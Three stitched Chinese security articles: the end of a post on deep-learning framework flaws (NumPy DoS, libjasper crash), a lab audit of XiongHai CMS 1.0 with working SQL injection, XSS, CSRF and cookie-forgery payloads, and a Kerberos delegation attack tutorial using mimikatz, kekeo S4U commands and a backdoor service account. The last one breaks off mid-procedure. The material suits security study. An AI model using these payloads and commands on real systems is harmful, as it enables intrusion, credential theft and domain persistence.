在pad函数中，存在这样一个while循环，循环结束需要使 pad_before>safe_pad和pad_after>safe_pad同时不成立，
而在我们构造的例子中，可以使得pad_before和 pad_after不断的增大，而safe_pad不断的减小，使得循环始终无法结束，从而导致拒绝服务。
图3. Numpy 拒绝服务攻击漏洞及官方补丁
我们选择了基于TensorFlow的语音识别应用来演示基于这个漏洞触发的攻击。攻击者通过构造语音文件，会导致上图中显示的循环无法结束，使应用程序长时间占用CPU而不返回结果，从而导致拒绝服务攻击。
我们选取了一个基于TensoFlow进行声音分类的应用来演示这个问题。这个应用是一个
TensorFlow程序演示，应用脚本源码可以从以下网站下载：[Urban Sound
Classification](https://aqibsaeed.github.io/2016-09-03-urban-sound-classification-part-1/)
当给定一个正常的狗叫的音频文件，应用可以识别声音内容为 "dog bark"，其过程如下：
./demo.sh dogbark.wav
02:34:42.713346: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use SSE4.1 instructions, but these are available on your machine and could speed up CPU computations.
... ...
audio file: dogbark.wav
softmax output:
[[ 9.82184019e-07 1.81138901e-07 2.68021075e-04 9.97506797e-01
3.25933332e-04 4.26165315e-07 1.18322554e-03 4.01796569e-08
2.90570169e-05 6.85345207e-04]]
The audio is dog_bark!
当给定一个畸形的声音文件可导致拒绝服务， 程序无法正常结束：
./demo.sh dos.wav
02:37:23.818618: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use SSE4.1 instructions, but these are available on your machine and could speed up CPU computations.
... ...
audio file: dos.wav
^C^C^C^C^C
在前面关于模块依赖复杂导致漏洞的讨论中，我们提到过对模块接口的理解不一致会导致问题。值得一提的是Numpy这个漏洞的修复过程正好反映了这个问题。在我们最初通知Numpy开发者的时候，他们认为问题是由于调用者librosa库的开发人员没有对数据进行严格检测，导致空列表的使用。所以尽管有应用会因为此问题受到拒绝服务攻击，
Numpy开发者最初认为不需要修复这个问题。但后来发现有多个其它库对numpy的相关函数也有频繁的类似调用，所以最终对这个漏洞进行了修复。同时librosa
开发者也对相关调用添加了输入检查。
**案例2：恶意图片导致基于Caffe的图像识别应用出现内存访问越界**
很多深度学习的应用是在图像和视觉处理领域。我们发现当使用深度学习框架Caffe来进行图片识别时，Caffe会依赖libjasper等图像视觉库来处理输入。
libjasper对图像进行识别处理时，如果存在漏洞，例如内存越界，就可能导致整个应用程序出现崩溃，甚至数据流被篡改。下面的例子是用展示的是用Caffe所自带的例子图像识别程序来处理我们提供的畸形图片所出现的崩溃场景。
当利用Caffe来对正常图片进行分类时，正常的使用情况如下：
classification.bin ./caffe/models/bvlc_reference_caffenet/deploy.prototxt ./caffe/models/bvlc_reference_caffenet/bvlc_reference_caffenet.caffemodel ./caffe/data/ilsvrc12/imagenet_mean.binaryproto ./caffe/data/ilsvrc12/synset_words.txt
cat.jpg
---------- Prediction for pocs/cat.jpg ---------- 0.3134 - "n02123045 tabby, tabby cat"
0.2380 - "n02123159 tiger cat"
0.1235 - "n02124075 Egyptian cat"
0.1003 - "n02119022 red fox, Vulpes vulpes"
0.0715 - "n02127052 lynx, catamount"
当利用Caffe来对恶意图片进行分类时，程序出现崩溃：
classification.bin ./caffe/models/bvlc_reference_caffenet/deploy.prototxt ./caffe/models/bvlc_reference_caffenet/bvlc_reference_caffenet.caffemodel ./caffe/data/ilsvrc12/imagenet_mean.binaryproto ./caffe/data/ilsvrc12/synset_words.txt
bug.jpg
---------- Prediction for pocs/bug.jpg ---------- Segmentation fault
gdb-peda$ bt
#0 0x00007ffff3295f6b in ?? () from /usr/lib/x86_64-linux-gnu/libjasper.so.1
#1 0x00007ffff32961e0 in ?? () from /usr/lib/x86_64-linux-gnu/libjasper.so.1
#2 0x00007ffff32958ad in jpc_decode () from /usr/lib/x86_64-linux-gnu/libjasper.so.1
#3 0x00007ffff328f2f7 in jp2_decode () from /usr/lib/x86_64-linux-gnu/libjasper.so.1
#4 0x00007ffff3283eed in jas_image_decode () from /usr/lib/x86_64-linux-gnu/libjasper.so.1
#5 0x00007ffff6df4158 in cv::Jpeg2KDecoder::readHeader() () from /usr/lib/x86_64-linux-gnu/libopencv_highgui.so.2.4
#6 0x00007ffff6dd74fc in ?? () from /usr/lib/x86_64-linux-gnu/libopencv_highgui.so.2.4
#7 0x00007ffff6dd7c56 in cv::imread(std::string const&, int) () from /usr/lib/x86_64-linux-gnu/libopencv_highgui.so.2.4
#8 0x0000000000403f2b in main ()
#9 0x00007ffff606af45 in __libc_start_main (main=0x403dd0 <main>, argc=0x6, argv=0x7fffffffde28, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffde18) at libc-start.c:287
#10 0x000000000040435e in _start ()
以上仅仅是我们发现的众多问题中的两个展示。 360 Team Seri0s
团队已发现并公布了数十个导致深度学习框架出现问题的漏洞，其中包含已对外公开的15个CVE。 在上个月举行的ISC安全大会上，Team
Seri0s成员已经展示了六个攻击实例。更多细节请参考ISC 2017大会人工智能与安全论坛所发布的内容。
**4\. 小结**
本文的目的是介绍被大众所忽视的人工智能安全问题，尤其是深度学习软件实现中的漏洞以及可能造成的隐患。目前在媒体中展示的深度学习应用中，许多并不与外界直接交互，例如AlphaGo；或者是在封闭的环境下工作，例如通过用户行为日志对用户分类画像并进行异常检测。这些系统的攻击面相对较小，它们并不容易受到本文中所提到的漏洞的直接影响。
但是随着人工智能应用的普及，安全威胁会不断增加。 更多的应用会把应用的输入接口直接或间接暴露出来。同时封闭系统的攻击面也会随着时间和环境而转化。
另外除了传统的基于软件漏洞的攻击，深度学习还面临对抗神经元网络以及其它各种逃逸攻击。 我们会在后续文章里对这方面的工作进行更新。 | 社区文章 |
# 环境搭建
熊海cms1.0 （<http://js.down.chinaz.com/201503/xhcms_v1.0.rar）>
seay代码审计工具
phpstudy （php版本不能太高)
搭在win7上作为靶机使用：<http://192.168.121.130/xhcms/install1>
安装xhcms
注意这里安装的时候要自己先去创建一个数据库
# 代码审计
先丢进seay去审计一波
有34个可疑文件,挨个去看看
## 文件包含
### /index.php
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
典型的文件包含漏洞,虽然参数经过了addslashes()处理,但是对于文件包含来说没什么用
包含的文件是files目录下的文件，可以包含我在files目录下新建的phpinfo.php,
如果要包含根目录下的文件,通过目录穿越即可
### /admin/index.php
这个文件的代码和刚才的index.php的代码一模一样,利用方式也就相同
只是它包含的文件是admin目录下的files目录里面的文件
## 越权访问
### /inc/checklogin.php
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
这是个越权漏洞,在seay中并没有被扫出来
先检验cookie中user的值,如果为空则跳转到登陆界面
利用方法
这里不能直接利用,需要配合登陆页面一起使用,在如下地址去测试
http://192.168.121.130/xhcms/admin
利用admin账户登陆后会添加一个值为admin的cookie
退出登陆可以看到cookie值已经不见
登陆一个已经存在的用户
将cookie中的user修改为admin,登陆到了admin用户
由此可见，所有调用checklogin.php的文件都存在越权漏洞。
涵盖范围：admin/files目录下除login.php和outlogin.php外所有页面
这里应该是凭借cookie中的user来判断用户的,所以随便登陆一个用户,只要user的值为admin那就可以去登陆admin账户实现越权
## SQL注入
### /admin/files/adset.php
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM adword";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$ad = mysql_fetch_array($resul);
$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，广告设置成功更新。');location.href='?r=adset'</script>";
exit;
}
?>
提交的参数ad1,ad2,ad3都经过了addslashes修饰
单纯使用addslashes()函数会造成两个问题：
是否采用GBK（宽字节注入）
sql语句是否采用了单引号闭合。
这里不存在sql注入,属于误报,但是他前面包含了两个文件
可以跟进去看看
inc目录下的文件都是配置文件,十分重要
### /admin/files/login.php
seay给出了好多SQL的洞,但是没有给出这个文件
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";
exit;
}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>
这里需要去利用admin的登陆页面
http://192.168.121.130/xhcms/admin/?r=login
关键代码：
$login=$_POST['login']; //参数直接由POST获取，无任何过滤
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$users = mysql_fetch_array($result);
$passwords=$users['password'];
if(md5($password)<>$passwords) //将输入的password的md5值进行匹配
{
echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";
exit;
}
查询的sql语句是在user这个地方,并且这里参数除了用单引号闭合并没有其他过滤处理了
这里开启了mysql_error()，可以进行报错注入,注入点在user
1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
用sqlmap探测也可以这里
python sqlmap.py -r 1.txt --dbs --batch
报错方式和注入点sqlmap也给了出来
不过这里跑了好久
### /admin/files/editcolumn.php
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$columnopen='class="open"';
$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$nav = mysql_fetch_array($resul);
}
if ($type==2){
$query = "SELECT * FROM navclass WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$nav = mysql_fetch_array($resul);
}
$save=$_POST['save'];
$name=$_POST['name'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$px=$_POST['px'];
$xs=$_POST['xs'];
if ($xs==""){
$xs=1;
}
$tuijian=$_POST['tuijian'];
if ($tuijian==""){
$$tuijian=0;
}
$content=$_POST['content'];
if ($save==1){
if ($name==""){
echo "<script>alert('抱歉，栏目名称不能为空。');history.back()</script>";
exit;
}
if ($type==1){
$query = "UPDATE nav SET
name='$name',
keywords='$keywords',
description='$description',
xs='$xs',
px='$px',
content='$content',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，一级栏目已经成功编辑。');location.href='?r=columnlist'</script>";
exit;
}
if ($type==2){
$query = "UPDATE navclass SET
name='$name',
keywords='$keywords',
description='$description',
xs='$xs',
px='$px',
tuijian='$tuijian',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，二级栏目已经成功编辑。');location.href='?r=columnlist'</script>";
exit;
}
}
?>
这是一个后台的链接界面,我们先登陆进后台,然后去包含这个文件
http://192.168.121.130/xhcms/admin/?r=editcolumn
其实这个文件夹下的所有文件都需要这么去使用
跳转到了如下界面
关键代码
$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$nav = mysql_fetch_array($resul);
}
if ($type==2){
$query = "SELECT * FROM navclass WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$nav = mysql_fetch_array($resul);
}
$save=$_POST['save'];
$name=$_POST['name'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$px=$_POST['px'];
$xs=$_POST['xs']; //变量由POST直接得到，未做过滤
sql语句都差不多,就是单引号闭合而已,主要看参数
这里需要传参type和id参数,type为一或者为2都可以
http://192.168.121.130/xhcms/admin/?r=editcolumn&type=2&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
当然控制type参数还可以进入下面的update语句,一样可以去执行语句
### /admin/files/editlink.php
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$linklistopen='class="open"';
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$link = mysql_fetch_array($resul);
$save=$_POST['save'];
$name=$_POST['name'];
$url=$_POST['url'];
$mail=$_POST['mail'];
$jieshao=$_POST['jieshao'];
$xs=$_POST['xs'];
if ($xs==""){
$xs=1;
}
if ($save==1){
if ($name==""){
echo "<script>alert('抱歉，链接名称不能为空。');history.back()</script>";
exit;
}
if ($url==""){
echo "<script>alert('抱歉，链接地址不能为空。');history.back()</script>";
exit;
}
$query = "UPDATE link SET
name='$name',
url='$url',
mail='$mail',
jieshao='$jieshao',
xs='$xs',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，链接已经成功编辑。');location.href='?r=linklist'</script>";
exit;
}
?>
这里还是只有单引号闭合,利用方式和之前的差不多,只需要GET一个id参数即可,甚至不用去控type参数就可以直接注入
http://192.168.121.130/xhcms/admin/?r=editlink&type=2&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
也可以在post参数那里直接注入
1' or updatexml(1,concat(0x7e,(select database())),0) or'
### /admin/files/editsoft.php
一样的get一个id参数可以注入
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
在下面的输入框也能注入
1' or updatexml(1,concat(0x7e,(select database())),0) or'
### /admin/files/editwz.php
和上面无异
### /admin/files/imageset.php
和上面无异,只是这里不会GET一个id参数,只有content那里加了一个addslashes处理其他的并没有
这里可以上传文件,但是好像没法利用
### /admin/file/manageinfo.php
不提交id参数,post方式在输入框仍然可以注入
不过这里还有一个xss,还是个存储型xss
因为这里的参数并没有用htmlspecialchars()或htmlentities()函数过滤
<script>alert(1)</script>
<img src=1 onerror=alert(/xss/)>
由此可以看出前面没有对参数处理的那些输入框可能也会存在xss,试了试都可以
这些文件都除了adset都存在sql注入,而且利用条件出奇的一致
### /files/content.php
这个文件需要从/index.php进去,同样是利用文件包含
http://192.168.121.130/xhcms/?r=content
源码
<?php
require 'inc/conn.php';
require 'inc/time.class.php';
$query = "SELECT * FROM settings";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$info = mysql_fetch_array($resul);
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$content = mysql_fetch_array($resul);
$navid=$content['navclass'];
$query = "SELECT * FROM navclass WHERE id='$navid'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$navs = mysql_fetch_array($resul);
//浏览计数
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
@mysql_query($query) or die('修改错误：'.mysql_error());
?>
<?php
$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)");
$pinglunzs = mysql_num_rows($query)
?>
这里的id虽然经过了$id=addslashes($_GET['cid']);处理,但是sql语句没有单引号保护,可以直接注入
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
http://192.168.121.130/xhcms/?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
### /files/software.php
<?php
require 'inc/conn.php';
require 'inc/time.class.php';
$query = "SELECT * FROM settings";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$info = mysql_fetch_array($resul);
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id=$id";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$download = mysql_fetch_array($resul);
//浏览计数
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
@mysql_query($query) or die('修改错误：'.mysql_error());
?>
sql语句依然是没有单引号保护,利用方式如上
### /files/submit.php
源码
<?php
session_start();
require 'inc/conn.php';
$type=addslashes($_GET['type']);
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
if ($tz==""){$tz=0;}
$jz=$_POST['jz'];
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
这里只对type参数进行了过滤,因而涉及到其他参数的SQL语句可能会存在SQL注入漏洞
漏洞存在位置
漏洞位置：files/submit.php第66行
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
漏洞位置：files/submit.php 第121-147行
$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
漏洞位置：files/submit.php 第176行
$query = "SELECT * FROM content WHERE( id= $cid)";
漏洞位置：files/submit.php 第206行
$query = "SELECT * FROM download WHERE( id= $cid)";
这里就随便拿一个来测试了,payload如下
name=1&content=有注入哦&mail=1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
### /install/index.php
关键代码
$user=$_POST['user'];
$password=md5($_POST['password']);
$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
我们在安好数据库后重新进入这个界面的时候需要删除该文件下的installLock.txt
1' or extractvalue(1,concat(0x7e,(select version()),0x7e))#
看到出现对应版本
### /admin/files/wzlist.php
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
echo "<script>alert('亲，ID为".$delete."的内容已经成功删除！');location.href='?r=wzlist'</script>";
exit;
}
这里对delete参数没有经过严格的过滤,可以进行SQL注入
http://192.168.121.130/xhcms/admin/?r=wzlist&delete=1' or extractvalue(1,concat(0x7e,(select version()),0x7e))--+
### /admin/files/softlist.php
和上个文件一样,出现漏洞点的代码都是一样的,打开文件就能看到
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM download WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
echo "<script>alert('亲，ID为".$delete."的内容已经成功删除！');location.href='?r=softlist'</script>";
exit;
}
?>
## XSS
以上的SQL注入的文件,大多数输入框那里并没有对输入框中的文本进行处理会存在xss漏洞,并且那种保存下来的还是存储型的xss漏洞,这里就不再赘述
### /files/contact.php
漏洞位置：files/contact.php 第12~15行
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
这里的$page经过addslashes处理一次带入了页面
传参试试
page就是留言板的页数
这是一个反射型的xss
### /files/content.php
这个文件除了SQL注入,还存在一个存储型的xss
这个页面访问需要加上cid参数
http://192.168.121.130/xhcms/?r=content&cid=1
126-141行
<div class="lou">回复 #<?php echo $pinglun['id']?> 楼</div>
<?php
$query2 = "SELECT * FROM manage";
$resul2 = mysql_query($query2) or die('SQL语句有误：'.mysql_error());
$manage2 = mysql_fetch_array($resul2);
if ($manage2['img']==""){
$touxiang="images/manage.jpg";
} else{
$touxiang=$manage2['img'];
}
?>
<img src="<?php echo $touxiang?>">
<strong><?php echo $manage2['name']?><span>认证站长</span></strong>
<li>位置：<a><?php echo $pinglun['rip']?></a></li>
<li>时间：<a><?php echo tranTime(strtotime($pinglun['rdate']))?></a></li>
<li>来自：<a><?php echo $pinglun['rshebei']?></a></li>
这里是从$pinglun这个变量中取出其中的信息，随后插入存储信息的interaction表
在第154行
<form name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
这里在content页面提交后会跳转到
http://192.168.121.130/?r=submit&type=comment&cid=1
在submit.php中第48行
$content= addslashes(strip_tags($content));//过滤HTML
虽然在评论处可以提交昵称、邮箱、网址、评论内容，但是显示评论和留言的地方只有昵称，所以只有昵称处有存储型XSS。
这里我并没有测试成功因为我的跳转页面好像出了一点问题,他跳转到了
http://192.168.121.130/?r=submit&type=comment&cid=1
而我的目录下不存在这个文件啊,应该跳转到的是
http://192.168.121.130/xhcms?r=submit&type=comment&cid=1
不过在我更换网站根目录为xhcms后测试成功
每次访问这个页面都会弹窗
其实我在contact页面尝试也发现了这个存储型xss
## CSRF
### /admin/files/wzlist.php
关键代码:
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
echo "<script>alert('亲，ID为".$delete."的内容已经成功删除！');location.href='?r=wzlist'</script>";
exit;
}
之前说的这里是一个SQL注入,因为他这里的参数没有进行过滤,也没有执行token验证
不过这也可以造成csrf
先抓个包,用burp的一键生成poc
访问一下
点击后,跳转到了
这个需要我们登陆的是admin账户
这种方式虽然成功了，但是必须跟用户产生交互才能执行成功，因此我们需要更改一下代码，使它更难被发现。
增加两行js脚本代码，从而实现自动化虚拟请求
<script type="text/javascript">
var form = document.getElementsByTagName('form')[0];
form.submit();
</script>
点进去自动跳转
可以看到已经删除了
其实这里不用这么麻烦,可以直接修改URL就可以删除任意一篇文章
### /admin/files/softlist.php
和上个文件一样,出现漏洞点的代码都是一样的,打开文件就能看到
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM download WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
echo "<script>alert('亲，ID为".$delete."的内容已经成功删除！');location.href='?r=softlist'</script>";
exit;
}
?>
# 后记
整个cms的代码总体来说比较简单,比较时候入门的时候来做,这也是一次做代码审计,后面可以做做bluecms的审计,难度也比较时候代码审计的入门
通过这次审计对cms的审计方式有了一定的了解,测试的时候利用漏洞的方式和靶场的还是不太一样,需要结合多个文件去利用,有些页面需要利用文件包含才能访问
这个cms的话,漏洞挺多的,这种简单的SQL和文件包含现在在大多数cms中肯定也不会出现了吧,肯定也有还没有涉及到的,seay和RIPS不能完全给出正确答案,在审计的时候还是要自己去审计一下代码
写的有不对地方还希望大佬斧正
参考链接:
<https://xz.aliyun.com/t/7629>
<https://blog.csdn.net/weixin_43872099/article/details/103001600> | 社区文章 |
本文主要介绍一下对Kerberos委派的一些常见攻击方法
实验环境：
DC2 域控 ，dc2.lab.local
IIS 运行IIS服务的域内主机
DESKTOP-WIN10 域内主机
WIN7 攻击机 域内主机 本地账户：WIN7\dtz
域管理员 LAB\Administrator LAB\dlive
服务账户 LAB\iis_svc
## 0x01 脆弱点发现
服务账号和主机账号都可以开启委派功能
下图为主机账户DESKTOP-WIN10委派配置
下图为服务账户iis_svc委派配置
可以看到主机账户和服务账户在委派功能上没什么区别，都存在三个选项
1. 不信任此用户作为委派 => 不开启委派功能
2. 信任此用户作为任何服务的委派 => 非受限委派
3. 仅信任此用户作为指定服务的委派 => 受限委派
* 适用任何身份验证协议
* 仅适用Kerberos
开启了委派功能的账户存在被攻击者利用的可能性，通过下面的命令(基于PowerView)可以发现域中开启了委派功能的账户
# Powerview，通过LDAP查询获取信息
# 非受限委派
Get-NetUser -Unconstrained -Domain lab.local
Get-NetComputer -Unconstrained -Domain lab.local
下图为Get-NetComputer的结果，查询出两个主机账户开启了非限制委派DC2和DESKTOP-WIN10（域控制器主机账户默认开启非限制委派），下图为DESKTOP-WIN10
# 受限委派
# 之前PowerView是有Get-DomainUser和Get-DomainComputer可以实现受限委派查询
# 但是在最新的master分支中这个功能被删掉了，不知道为什么，这里使用dev分支中的PowerView
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L4906
Get-DomainUser -TrustedToAuth -Domain lab.local -Verbose | fl
Get-DomainComputer -TrustedToAuth -Domain lab.local -Verbose | fl
下图为Get-NetUser运行结果，iis_svc账户开启限制委派，限制委派服务为cifs/DESKTOP-WIN10.lab.local
# 允许委派的账户 -AdminCount表示管理员账户
Get-NetUser -AllowDelegation -AdminCount -Domain lab.local
## 0x02 攻击非受限委派（Unconstrained Delegation）
非受限委派，IIS服务账户iis_svc配置如下，iis_svc账户在IIS主机上用于启动iis.lab.local_pool
非受限委派协议流程
非受限委派的情况下，Service1可以获取用户的TGT，从而Service1可使用该TGT，模拟用户访问Service2服务。
在实验环境中，以开启委派功能的服务账户iis_svc运行服务的主机（在本实验环境下该主机名为IIS）上会缓存用户的TGT
所以攻击者只需提取IIS主机上保存的TGT，然后进行PTT攻击即可，如果可以获取域管理员的TGT，则可以获取域管理员权限
执行mimikatz，提取内存中保存的票据
下图为导出的LAB/dlive用户的TGT，同时还可以看到IIS主机账户的票据
在本环境中LAB/dlive域用户为域管理员，将该用户的TGT注入攻击者主机(win7)当前会话进行PTT攻击
在将TGT写入当前会话之后，使用klist查看当前会话中的票据，可以看到dlive.lab.local的TGT
然后访问DC上的文件系统，或直接使用Powershell Enter-PSSession访问DC即可
## 0x03 攻击受限委派（Constrained Delegation）
受限委派，IIS服务账户iis_svc配置如下，DESKTOP-WIN10是域内另一台主机，下图设置了iis_svc对WIN10-DESKTOP的CIFS服务的委派
受限委派协议流程
受限委派的情况下，服务账号只能获取某用户的TGS，从而只能模拟用户访问特定的服务。
在开启受限委派的服务所在主机中无法抓取到用户TGT
但是如果攻击者可以获取到开启非限制委派的服务账户的明文口令/NTLM Hash，也可以伪造TGT和S4U请求
伪装成服务账户以任意账户的权限（如域管理员）申请TGS
其中服务账户的明文口令可能可以通过Kerberoasting攻击获取
在知道服务账号明文口令的情况下，使用kekeo获取TGT
TGT被写入当前目录下的TGT_iis_svc@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi文件中
kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /password:Passw0rd" exit
kekeo通过s4u请求以LAB\administrator用户身份访问CIFS的TGS
S4U2Self获取到的ticket和S4U2Proxy获取到的DESKTOP-WIN10 CIFS服务的TGS会以文件保存在当前目录下
kekeo.exe "tgs::s4u /tgt:TGT_iis_svc@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi /user:Administrator@lab.local /service:cifs/DESKTOP-WIN10.lab.local" exit
mimikatz将获取到的TGS写入当前会话
查看缓存的票据，可以看到写入的TGS，然后即可dir访问远程主机DESKTOP-WIN10文件系统
上面是在获取到iis_svc服务账户的密码之后进行的攻击，kekeo也支持直接使用NTLM进行TGT请求
将iis_svc的NTLM为a87f3a337d73085c45f9416be5787d86，tgt::ask时将/password参数修改为/NTLM即可
kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /NTLM:a87f3a337d73085c45f9416be5787d86" exit
如果攻击者可以直接拿到IIS服务所在服务器的权限，也可以直接从内存中提取服务账户TGT，无需进行tgt::ask，直接tgt::s4u即可
# 提取ticket
mimikatz.exe "privilege::debug" "sekurlsa::ticket /export" exit
或者按照 <http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/> 中Scenario
2介绍的方法
# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx
# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('Administrator@LAB.LOCAL')
# actually impersonate the next context
$Context = $Ident.Impersonate()
# implicitly invoke S4U2Proxy with the specified action
ls \\DESKTOP-WIN10.LAB.LOCAL\C$
# undo the impersonation context
$Context.Undo()
我们之前说过主机账户也存在委派功能，但是主机账户的口令是系统随机生成的，破解拿到明文口令的可能性太小
一般使用主机账户做委派攻击时会使用其NTLM Hash，需要注意的一点是主机账户的用户名为主机名+$
如DESKTOP-WIN10的用户名为DESKTOP-WIN10$
## 0x04 使用受限委派制作变种黄金票据
第一次听到这种攻击方法是在n1nty大佬在KCON上的演讲
之后便去学习了n1nty大佬的文章，<https://paper.seebug.org/620/>
关于变种黄金票据的具体细节可以参考这个文章
变种黄金票据的原理为，利用限制委派账户，向tgs自身申请了一张域管理员访问tgs服务的票据，即TGT
TGT也可以看做TGS的一种，不过是访问tgs这个特殊服务的票据
tgs服务的spn为krbtgt/LAB.LOCAL，该服务以krbtgt服务账户运行的
* * *
**小插曲**
最初我测试这个变种黄金票据的时候是在Windows 2012域环境下测试，一直不成功
看SPN或Kerberos协议数据包也没看出什么问题
后来问了一下n1nty师傅，说是2012 及以后的KDC，受限委派的机制变成了Resource Based Constrained
Delegation，有可能是这个原因
于是换成2008的域环境进行测试，果然可以成功
而关于如何在2012及以后的域控上实现黄金票据，我研究了好久也没能搞定，有知道的师傅求教Orz...
所以下面的测试环境换为
域 dlive.com
域控 Windows Server 2008 DC1.dlive.com
域管理员 DLIVE\Administrator
攻击者 Win7 内置用户 WIN7\dtz
* * *
变种黄金票据的流程如下
**一、在获取域管理员权限之后，添加服务账户backdoor_svc，开启非限制委派，服务类型为krbtgt/DLIVE.COM**
关于tgs服务的spn:
我们在域控上执行klist查看到任何一个域用户的TGT票据即可以发现，tgs服务的spn为krbtgt/DLIVE.COM
添加服务账户
New-ADUser -Name "Backdoor" -SamAccountName backdoor_svc -UserPrincipalName backdoor_svc@dlive.com -ServicePrincipalNames "backdoor/backdoor.dlive.com" -AccountPassword (convertto-securestring "Dubhe@1234" -asplaintext -force) -PasswordNeverExpires $True -PassThru | Enable-ADAccount
设置委派
